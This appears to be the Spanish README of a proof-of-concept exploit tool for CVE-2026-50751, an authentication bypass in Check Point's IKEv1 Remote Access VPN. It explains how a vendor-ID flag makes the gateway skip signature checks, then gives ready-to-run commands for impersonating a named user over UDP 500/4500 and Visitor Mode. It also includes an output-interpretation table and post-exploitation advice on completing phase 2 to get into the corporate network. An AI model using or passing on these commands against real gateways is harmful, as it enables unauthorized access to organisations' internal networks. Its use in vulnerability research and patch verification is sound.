
Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).
Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).
CVE-2026-50751 es un bypass de autenticación en el proceso iked de Check Point, presente en las versiones R81.10, R82 y R82.10 sin el hotfix sk185033. El fallo permite autenticarse como cualquier usuario de Remote Access provisionado sin clave privada, sin contraseña y sin certificado válido.
El iked vulnerable lee un flag desde el Vendor ID VPNExtFeatures (bit 0x4) y, si está activado, omite verify_peer_auth / verifyMessagePhase1. Como consecuencia:
No se verifica la firma del certificado (prueba de posesión).
No se verifica la cadena de confianza.
Solo se comprueba que el subject DN resuelva a un usuario provisionado.
Basta con forjar un certificado autofirmado cuyo CN= coincida con el usuario objetivo y enviarlo con una firma inválida. Si el gateway acepta la fase 1, hemos quedado autenticados como ese usuario (la SA ISAKMP se guarda bajo su DN).
Funciona sobre IKE (UDP 500/4500) y sobre Visitor Mode (TCPT, TCP 443).
Sintaxis
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | Descripción | Defecto |
|---|---|---|
-host | IP o hostname del gateway (obligatorio) | — |
-user | Username RA a suplantar (obligatorio) | — |
-port | Puerto: 500, 4500 (UDP) o 443 (TCPT) | 500 |
-org | Organización (O=) de la ICA. Si se omite, se deriva del certificado TLS del gateway en el puerto 443 | — |
-ou | Unidad organizativa (OU=) del DN del usuario. Debe coincidir exactamente con el OU que Check Point almacena para el usuario | users |
-timeout | Timeout por operación (acepta cualquier duración de Go: 6s, 500ms, 1m) | 6s |
-retries | Reintentos de msg1 si el gateway no responde en el primer intento | 1 |
-tcpt | Fuerza el transporte Visitor Mode (TCPT sobre TCP, sin TLS). Se activa automáticamente si -port 443 | false |
Nota sobre
-ou: el valor por defecto esusers, pero en la práctica el usuario RA suele pertenecer a un grupo específico (por ejemploVPN_GROUP). Consúltalo conmgmt_cli show user name "<usuario>" details-level "full" --format jsony busca el campodistinguished-name. UnOUincorrecto provoca que el gateway descarte silenciosamente elmsg5(NO_RESPONSEoINCONCLUSIVE), porque no resuelve el DN a ningún usuario provisionado.
O=)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
En Linux/macOS necesitas sudo para bindear el puerto UDP 500 como origen. Si no puedes usar sudo, la PoC cae a puerto efímero y muchos gateways ignoran los paquetes por el source port no estándar.
Útil cuando el gateway no expone su certificado TLS en el 443, o cuando el O= derivado automáticamente no coincide con el del usuario provisionado:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
Se activa automáticamente al especificar -port 443:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
O forzado explícitamente con -tcpt (por si el gateway tiene Visitor Mode escuchando en un puerto distinto al 443):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
Para atravesar NAT entre tu máquina y el gateway. La PoC prefija los paquetes con el marcador NON-ESP de RFC 3948:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
Útil en enlaces lentos o gateways con rate limiting:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| Salida | Significado | Qué hacer |
|---|---|---|
[+] [BYPASSED] + IP interna | El bypass funcionó; la SA IKEv1 se estableció como el usuario suplantado | Ver la sección Post-explotación |
[-] [REJECTED] | El gateway descifró tu msg5 pero rechazó la autenticación | Usuario no provisionado, OU incorrecto, o gateway parcheado (sk185033) |
[-] [NO_CERT_REALM] | El gateway no ofrece autenticación por certificado en Main Mode | El gateway no está en modo Certificate/Mixed, o solo acepta IKEv2 |
[-] [NO_RESPONSE] | Sin respuesta al msg1 | Firewall bloqueando UDP/500, iked no corriendo, o rate limiting |
[!] [INCONCLUSIVE] | Sin respuesta decisiva | Reintentar tras unos minutos; revisar tcpdump y logs del iked |
Una vez obtenido [BYPASSED], la PoC ha establecido una Asociación de Seguridad IKEv1 completa y el gateway te ha asignado una IP virtual del pool de Remote Access. Desde la perspectiva del gateway, eres el usuario suplantado dentro de la red corporativa.
Sin embargo, la PoC no proporciona un túnel de datos utilizable (no implementa Quick Mode / IPsec ESP). Para hacer uso de la posición en la red hay que completar la fase 2. Esto se puede hacer con:
strongSwan o OpenVPN con certificado manipulable: configurar el cliente para que use un certificado con el DN forjado y negociar Quick Mode tras el bypass. Requiere modificar el flujo para inyectar el VID y saltar la verificación de firma del lado cliente.Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │